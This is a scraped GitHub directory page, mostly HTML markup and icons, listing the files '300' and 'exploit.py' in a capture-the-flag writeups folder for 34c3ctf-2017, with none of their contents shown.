<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> DhavalKapil </span> <span>/</span> ctf-writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>9</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>21</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/DhavalKapil/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":100902368,"originating_url":"https://github.com/DhavalKapil/ctf-writeups/tree/master/34c3ctf-2017/300","user_id":null}}" data-hydro-click-hmac="2c38f2049a3513d89afd019eb738c26354496ae39e4197ca3e815bcda8aa8f0c"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/DhavalKapil/ctf-writeups/refs" cache-key="v0:1503281044.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="RGhhdmFsS2FwaWwvY3RmLXdyaXRldXBz" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/DhavalKapil/ctf-writeups/refs" cache-key="v0:1503281044.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="RGhhdmFsS2FwaWwvY3RmLXdyaXRldXBz" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>34c3ctf-2017</span></span><span>/</span>300<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>34c3ctf-2017</span></span><span>/</span>300<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/DhavalKapil/ctf-writeups/tree-commit/756bb223224646d933b6c56b116188162d8147a8/34c3ctf-2017/300" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/DhavalKapil/ctf-writeups/file-list/master/34c3ctf-2017/300"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>300</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
